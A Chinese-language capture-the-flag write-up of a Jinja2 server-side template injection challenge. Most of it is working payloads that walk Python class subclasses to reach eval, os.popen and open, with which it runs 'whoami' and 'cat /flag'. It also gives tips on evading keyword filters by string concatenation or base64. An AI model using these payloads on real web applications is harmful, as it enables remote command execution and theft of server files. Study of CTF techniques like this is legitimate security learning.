上周BJDCTF有一道ssti注入题,当时瞎猫碰上死耗子,给我撞过去了。对Python,平常也没有C++和java用的频繁,记录一下正常思路。顺便学习一下,以后遇到了不能光靠运气撞过去了= =
一些简单注入
{{config}}可以获取当前设置
{{self}}
{{self.__dict__._TemplateReference__context.config}} 同样可以看到config
__class__ 返回类型所属的对象
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块
[BJDCTF 2nd]fake google
大部分都是先查找warnings.catch_warnings模块中的OS模块,如果关键字被禁用了,可以用base64或者字符串拼接过去比如说'o'+'s'
还可以用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap。
第一种
().__class__.__bases__[0].__subclasses__()
---查看可用模块
().__class__.base__.__subclasses__().index(warnings.catch_warnings)
可以查看当前位置,不过题目环境不能用。手动数吧= = 169位
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
发现可以执行,构造命令
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
没有什么过滤= =友好!
第二种
或者找到os._wrap_close模块 117个
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}}
当前文件夹
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
来打开文件,payload有很多慢慢摸索慢慢积累= =
第三种
我的payload:
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
我找的threading.Semaphore模块。。
参考
CTF SSTI(服务器模板注入)
BJDCTF-WP
SSTI/沙盒逃逸详细总结
https://xz.aliyun.com/t/3679